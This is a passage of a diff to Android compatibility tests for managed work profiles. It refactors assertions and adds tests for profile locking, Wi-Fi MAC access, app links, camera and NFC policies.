+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testAccountExist", mProfileUserId);
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testAccountExist", mParentUserId);
+    }
+
+    private void provisionManagedProfile() throws Exception {
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testProvisionManagedProfile", mParentUserId);
+        mProfileUserId = getFirstManagedProfileUserId();
+    }
+
+    private void provisionManagedProfile_accountCopy() throws Exception {
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
+                "testProvisionManagedProfile_accountCopy", mParentUserId);
+        mProfileUserId = getFirstManagedProfileUserId();
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index a84d4a8..26da677 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -20,10 +20,12 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 
-import java.lang.System;
 import junit.framework.AssertionFailedError;
 
 import java.util.concurrent.Callable;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Set of tests for Managed Profile use cases.
@@ -68,9 +70,10 @@
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
     private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
 
-    private static final String ADD_RESTRICTION_COMMAND = "add-restriction";
+    private static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
+    private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
 
-    private static final int MANAGED_PROFILE_REMOVED_TIMEOUT_SECONDS = 15;
+    private static final long TIMEOUT_USER_LOCKED_MILLIS = TimeUnit.SECONDS.toMillis(15);
 
     private int mParentUserId;
 
@@ -117,9 +120,9 @@
         if (!mHasFeature) {
             return;
         }
-        assertTrue(runDeviceTestsAsUser(
+        runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ManagedProfileSetupTest",
-                mProfileUserId));
+                mProfileUserId);
     }
 
     /**
@@ -130,20 +133,32 @@
             return;
         }
         assertTrue(listUsers().contains(mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".WipeDataTest", mProfileUserId));
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".WipeDataTest", mProfileUserId);
         // Note: the managed profile is removed by this test, which will make removeUserCommand in
         // tearDown() to complain, but that should be OK since its result is not asserted.
-        long epoch = System.currentTimeMillis();
-        while (System.currentTimeMillis() - epoch <=
-                MANAGED_PROFILE_REMOVED_TIMEOUT_SECONDS * 1000) {
-            Thread.sleep(1000);
-            if (!listUsers().contains(mProfileUserId)) {
-                // The managed profile has been removed: success
-                return;
-            }
+        assertUserGetsRemoved(mProfileUserId);
+    }
+
+    public void testLockNowWithKeyEviction() throws Exception {
+        if (!mHasFeature || !mSupportsFbe) {
+            return;
         }
-        fail("The managed profile has not been removed after calling wipeData");
+        changeUserCredential("1234", null, mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".LockNowTest",
+                "testLockNowWithKeyEviction", mProfileUserId);
+        final String cmd = "dumpsys activity | grep 'User #" + mProfileUserId + ": state='";
+        final Pattern p = Pattern.compile("state=([\\p{Upper}_]+)$");
+        SuccessCondition userLocked = () -> {
+            final String activityDump = getDevice().executeShellCommand(cmd);
+            final Matcher m = p.matcher(activityDump);
+            return m.find() && m.group(1).equals("RUNNING_LOCKED");
+        };
+        tryWaitForSuccess(
+                userLocked,
+                "The managed profile has not been locked after calling "
+                        + "lockNow(FLAG_SECURE_USER_DATA)",
+                TIMEOUT_USER_LOCKED_MILLIS);
     }
 
     public void testMaxOneManagedProfile() throws Exception {
@@ -166,18 +181,27 @@
         if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
             return;
         }
-        assertTrue("WiFi config already exists and could not be removed", runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG, ".WifiTest", "testRemoveWifiNetworkIfExists", mParentUserId));
-
         installAppAsUser(WIFI_CONFIG_CREATOR_APK, mProfileUserId);
-        assertTrue("Failed to add WiFi config", runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG, ".WifiTest", "testAddWifiNetwork", mProfileUserId));
+
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG, ".WifiTest", "testRemoveWifiNetworkIfExists", mParentUserId);
+
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG, ".WifiTest", "testAddWifiNetwork", mProfileUserId);
 
         // Now delete the user - should undo the effect of testAddWifiNetwork.
         removeUser(mProfileUserId);
-        assertTrue("WiFi config not removed after deleting profile", runDeviceTestsAsUser(
+        runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG, ".WifiTest", "testWifiNetworkDoesNotExist",
-                mParentUserId));
+                mParentUserId);
+    }
+
+    public void testWifiMacAddress() throws Exception {
+        if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
+            return;
+        }
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mProfileUserId);
     }
 
     public void testCrossProfileIntentFilters() throws Exception {
@@ -189,27 +213,27 @@
         disableActivityForUser("ManagedProfileActivity", mParentUserId);
         disableActivityForUser("PrimaryUserActivity", mProfileUserId);
 
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                MANAGED_PROFILE_PKG + ".ManagedProfileTest", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                MANAGED_PROFILE_PKG + ".ManagedProfileTest", mProfileUserId);
 
         // Set up filters from primary to managed profile
         String command = "am start -W --user " + mProfileUserId  + " " + MANAGED_PROFILE_PKG
                 + "/.PrimaryUserFilterSetterActivity";
         CLog.d("Output for command " + command + ": "
               + getDevice().executeShellCommand(command));
-        assertTrue(runDeviceTestsAsUser(
-                MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".PrimaryUserTest", mParentUserId));
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".PrimaryUserTest", mParentUserId);
         // TODO: Test with startActivity
     }
 
-    public void testAppLinks() throws Exception {
+    public void testAppLinks_verificationStatus() throws Exception {
         if (!mHasFeature) {
             return;
         }
         // Disable all pre-existing browsers in the managed profile so they don't interfere with
         // intents resolution.
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testDisableAllBrowsers", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testDisableAllBrowsers", mProfileUserId);
         installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
         installAppAsUser(INTENT_SENDER_APK, mParentUserId);
         installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
@@ -221,8 +245,7 @@
         // managed profile
         assertAppLinkResult("testTwoReceivers");
 
-        changeUserRestrictionForUser("allow_parent_profile_app_linking", ADD_RESTRICTION_COMMAND,
-                mProfileUserId);
+        changeUserRestrictionOrFail("allow_parent_profile_app_linking", true, mProfileUserId);
         // Now we should also have one receiver in the primary user, so three receivers in total.
         assertAppLinkResult("testThreeReceivers");
 
@@ -241,14 +264,68 @@
         assertAppLinkResult("testReceivedByAppLinkActivityInManaged");
     }
 
+    public void testAppLinks_enabledStatus() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // Disable all pre-existing browsers in the managed profile so they don't interfere with
+        // intents resolution.
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testDisableAllBrowsers", mProfileUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
+        installAppAsUser(INTENT_SENDER_APK, mParentUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
+        installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+
+        final String APP_HANDLER_COMPONENT = "com.android.cts.intent.receiver/.AppLinkActivity";
+
+        // allow_parent_profile_app_linking is not set, try different enabled state combinations.
+        // We should not have app link handler in parent user no matter whether it is enabled.
+
+        disableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        disableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testReceivedByBrowserActivityInManaged");
+
+        enableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        disableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testReceivedByBrowserActivityInManaged");
+
+        disableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        enableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testTwoReceivers");
+
+        enableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        enableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testTwoReceivers");
+
+        // We now set allow_parent_profile_app_linking, and hence we should have the app handler
+        // in parent user if it is enabled.
+        changeUserRestrictionOrFail("allow_parent_profile_app_linking", true, mProfileUserId);
+
+        disableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        disableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testReceivedByBrowserActivityInManaged");
+
+        enableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        disableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testTwoReceivers");
+
+        disableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        enableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testTwoReceivers");
+
+        enableComponentOrPackage(mParentUserId, APP_HANDLER_COMPONENT);
+        enableComponentOrPackage(mProfileUserId, APP_HANDLER_COMPONENT);
+        assertAppLinkResult("testThreeReceivers");
+    }
 
     public void testSettingsIntents() throws Exception {
         if (!mHasFeature) {
             return;
         }
 
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SettingsIntentsTest",
-                mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".SettingsIntentsTest",
+                mProfileUserId);
     }
 
     public void testCrossProfileContent() throws Exception {
@@ -261,18 +338,18 @@
         installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
 
         // Test from parent to managed
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testRemoveAllFilters", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testAddManagedCanAccessParentFilters", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mParentUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testRemoveAllFilters", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testAddManagedCanAccessParentFilters", mProfileUserId);
+        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mParentUserId);
 
         // Test from managed to parent
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testRemoveAllFilters", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testAddParentCanAccessManagedFilters", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testRemoveAllFilters", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testAddParentCanAccessManagedFilters", mProfileUserId);
+        runDeviceTestsAsUser(INTENT_SENDER_PKG, ".ContentTest", mProfileUserId);
 
     }
 
@@ -285,15 +362,15 @@
         installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
         installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
 
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testAllowCrossProfileCopyPaste", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testAllowCrossProfileCopyPaste", mProfileUserId);
         // Test that managed can see what is copied in the parent.
         testCrossProfileCopyPasteInternal(mProfileUserId, true);
         // Test that the parent can see what is copied in managed.
         testCrossProfileCopyPasteInternal(mParentUserId, true);
 
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testDisallowCrossProfileCopyPaste", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testDisallowCrossProfileCopyPaste", mProfileUserId);
         // Test that managed can still see what is copied in the parent.
         testCrossProfileCopyPasteInternal(mProfileUserId, true);
         // Test that the parent cannot see what is copied in managed.
@@ -305,21 +382,39 @@
         final String direction = (userId == mParentUserId)
                 ? "testAddManagedCanAccessParentFilters"
                 : "testAddParentCanAccessManagedFilters";
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                "testRemoveAllFilters", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
-                direction, mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                "testRemoveAllFilters", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
+                direction, mProfileUserId);
         if (shouldSucceed) {
-            assertTrue(runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
-                    "testCanReadAcrossProfiles", userId));
-            assertTrue(runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
-                    "testIsNotified", userId));
+            runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
+                    "testCanReadAcrossProfiles", userId);
+            runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
+                    "testIsNotified", userId);
         } else {
-            assertTrue(runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
-                    "testCannotReadAcrossProfiles", userId));
+            runDeviceTestsAsUser(INTENT_SENDER_PKG, ".CopyPasteTest",
+                    "testCannotReadAcrossProfiles", userId);
         }
     }
 
+    /** Tests for the API helper class. */
+    public void testCurrentApiHelper() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CurrentApiHelperTest",
+                mProfileUserId);
+    }
+
+    /** Test: unsupported public APIs are disabled on a parent profile. */
+    public void testParentProfileApiDisabled() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
+                "testParentProfileApiDisabled", mProfileUserId);
+    }
+
     // TODO: This test is not specific to managed profiles, but applies to multi-user in general.
     // Move it to a MultiUserTest class when there is one. Should probably move
     // SetPolicyActivity to a more generic apk too as it might be useful for different kinds
@@ -338,15 +433,13 @@
         }
         String restriction = "no_debugging_features";  // UserManager.DISALLOW_DEBUGGING_FEATURES
 
-        String addRestrictionCommandOutput =
-                changeUserRestrictionForUser(restriction, ADD_RESTRICTION_COMMAND, mProfileUserId);
-        assertTrue("Command was expected to succeed " + addRestrictionCommandOutput,
-                addRestrictionCommandOutput.contains("Status: ok"));
+        changeUserRestrictionOrFail(restriction, true, mProfileUserId);
+
 
         // This should now fail, as the shell is not available to start activities under a different
         // user once the restriction is in place.
-        addRestrictionCommandOutput =
-                changeUserRestrictionForUser(restriction, ADD_RESTRICTION_COMMAND, mProfileUserId);
+        String addRestrictionCommandOutput =
+                changeUserRestriction(restriction, true, mProfileUserId);
         assertTrue(
                 "Expected SecurityException when starting the activity "
                         + addRestrictionCommandOutput,
@@ -355,19 +448,19 @@
 
     // Test the bluetooth API from a managed profile.
     public void testBluetooth() throws Exception {
-        boolean mHasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
-        if (!mHasFeature || !mHasBluetooth) {
+        boolean hasBluetooth = hasDeviceFeature(FEATURE_BLUETOOTH);
+        if (!mHasFeature || !hasBluetooth) {
             return ;
         }
 
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
-                "testEnableDisable", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
-                "testGetAddress", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
-                "testListenUsingRfcommWithServiceRecord", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
-                "testGetRemoteDevice", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
+                "testEnableDisable", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
+                "testGetAddress", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
+                "testListenUsingRfcommWithServiceRecord", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".BluetoothTest",
+                "testGetRemoteDevice", mProfileUserId);
     }
 
     public void testCameraPolicy() throws Exception {
@@ -379,40 +472,40 @@
             setDeviceAdmin(MANAGED_PROFILE_PKG + "/.PrimaryUserDeviceAdmin", mParentUserId);
 
             // Disable managed profile camera.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testDisableCameraInManagedProfile",
-                    mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+                    mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testIsCameraEnabledInPrimaryProfile",
-                    mParentUserId));
+                    mParentUserId);
 
             // Enable managed profile camera.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testEnableCameraInManagedProfile",
-                    mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+                    mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testIsCameraEnabledInPrimaryProfile",
-                    mParentUserId));
+                    mParentUserId);
 
             // Disable primary profile camera.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testDisableCameraInPrimaryProfile",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testIsCameraEnabledInManagedProfile",
-                    mProfileUserId));
+                    mProfileUserId);
 
             // Enable primary profile camera.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testEnableCameraInPrimaryProfile",
-                    mParentUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
+                    mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CameraPolicyTest",
                     "testIsCameraEnabledInManagedProfile",
-                    mProfileUserId));
+                    mProfileUserId);
         } finally {
             final String adminHelperClass = ".PrimaryUserAdminHelper";
-            assertTrue("Clear device admin failed", runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
-                    adminHelperClass, "testClearDeviceAdmin", mParentUserId));
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                    adminHelperClass, "testClearDeviceAdmin", mParentUserId);
         }
     }
 
@@ -438,8 +531,8 @@
         runManagedContactsTest(new Callable<Void>() {
             @Override
             public Void call() throws Exception {
-                assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                        "testQuickContact", mParentUserId));
+                runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                        "testQuickContact", mParentUserId);
                 return null;
             }
         });
@@ -482,28 +575,28 @@
         if (!mHasFeature) {
             return;
         }
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
-                "testDefaultOrganizationColor", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
-                "testDefaultOrganizationNameIsNull", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
-                mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
+                "testDefaultOrganizationColor", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
+                "testDefaultOrganizationNameIsNull", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OrganizationInfoTest",
+                mProfileUserId);
     }
 
     public void testPasswordMinimumRestrictions() throws Exception {
         if (!mHasFeature) {
             return;
         }
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
-                mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
+                mProfileUserId);
     }
 
     public void testBluetoothContactSharingDisabled() throws Exception {
         if (!mHasFeature) {
             return;
         }
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                "testSetBluetoothContactSharingDisabled_setterAndGetter", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
+                "testSetBluetoothContactSharingDisabled_setterAndGetter", mProfileUserId);
     }
 
     public void testCannotSetProfileOwnerAgain() throws Exception {
@@ -542,23 +635,18 @@
             return;
         }
 
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
-                "testNfcShareEnabled", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
-                "testNfcShareEnabled", mParentUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
+                "testNfcShareEnabled", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
+                "testNfcShareEnabled", mParentUserId);
 
-        String restriction = "no_outgoing_beam";  // UserManager.DISALLOW_OUTGOING_BEAM
-        String command = "add-restriction";
+        changeUserRestrictionOrFail("no_outgoing_beam" /* UserManager.DISALLOW_OUTGOING_BEAM */,
+                true, mProfileUserId);
 
-        String addRestrictionCommandOutput =
-                changeUserRestrictionForUser(restriction, command, mProfileUserId);
-        assertTrue("Command was expected to succeed " + addRestrictionCommandOutput,
-                addRestrictionCommandOutput.contains("Status: ok"));
-
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
-                "testNfcShareDisabled", mProfileUserId));
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
-                "testNfcShareEnabled", mParentUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
+                "testNfcShareDisabled", mProfileUserId);
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NfcTest",
+                "testNfcShareEnabled", mParentUserId);
     }
 
     public void testCrossProfileWidgets() throws Exception {
@@ -571,6 +659,7 @@
             installAppAsUser(WIDGET_PROVIDER_APK, mParentUserId);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
                     + " --package " + WIDGET_PROVIDER_PKG);
+            setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
             startWidgetHostService();
 
             String commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
@@ -578,28 +667,28 @@
             assertTrue("Command was expected to succeed " + commandOutput,
                     commandOutput.contains("Status: ok"));
 
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
-                    "testCrossProfileWidgetProviderAdded", mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
+                    "testCrossProfileWidgetProviderAdded", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
                     ".CrossProfileWidgetPrimaryUserTest",
-                    "testHasCrossProfileWidgetProvider_true", mParentUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                    "testHasCrossProfileWidgetProvider_true", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
                     ".CrossProfileWidgetPrimaryUserTest",
-                    "testHostReceivesWidgetUpdates_true", mParentUserId));
+                    "testHostReceivesWidgetUpdates_true", mParentUserId);
 
             commandOutput = changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG,
                     "remove-cross-profile-widget", mProfileUserId);
             assertTrue("Command was expected to succeed " + commandOutput,
                     commandOutput.contains("Status: ok"));
 
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
-                    "testCrossProfileWidgetProviderRemoved", mProfileUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileWidgetTest",
+                    "testCrossProfileWidgetProviderRemoved", mProfileUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
                     ".CrossProfileWidgetPrimaryUserTest",
-                    "testHasCrossProfileWidgetProvider_false", mParentUserId));
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
+                    "testHasCrossProfileWidgetProvider_false", mParentUserId);
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
                     ".CrossProfileWidgetPrimaryUserTest",
-                    "testHostReceivesWidgetUpdates_false", mParentUserId));
+                    "testHostReceivesWidgetUpdates_false", mParentUserId);
         } finally {
             changeCrossProfileWidgetForUser(WIDGET_PROVIDER_PKG, "remove-cross-profile-widget",
                     mProfileUserId);
@@ -612,13 +701,13 @@
             return;
         }
         // In Managed profile user when managed profile is provisioned
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
-                "testIsProvisioningAllowedFalse", mProfileUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
+                "testIsProvisioningAllowedFalse", mProfileUserId);
 
         // In parent user when managed profile is provisioned
         // It's allowed to provision again by removing the previous profile
-        assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
-                "testIsProvisioningAllowedTrue", mParentUserId));
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest",
+                "testIsProvisioningAllowedTrue", mParentUserId);
     }
 
     private void setDirectoryPrefix(String directoryName, int userId)
@@ -640,34 +729,34 @@
         }
         try {
             // Register phone account in parent user.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                     "testRegisterPhoneAccount",
-                    mParentUserId));
+                    mParentUserId);
             // The phone account should not be visible in managed user.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                     "testPhoneAccountNotRegistered",
-                    mProfileUserId));
+                    mProfileUserId);
         } finally {
             // Unregister the phone account.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                     "testUnregisterPhoneAccount",
-                    mParentUserId));
+                    mParentUserId);
         }
 
         try {
             // Register phone account in profile user.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
                     "testRegisterPhoneAccount",
-                    mProfileUserId));
+                    mProfileUserId);
             // The phone account should not be visible in parent user.
-            assertTrue(runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
+            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PhoneAccountTest",
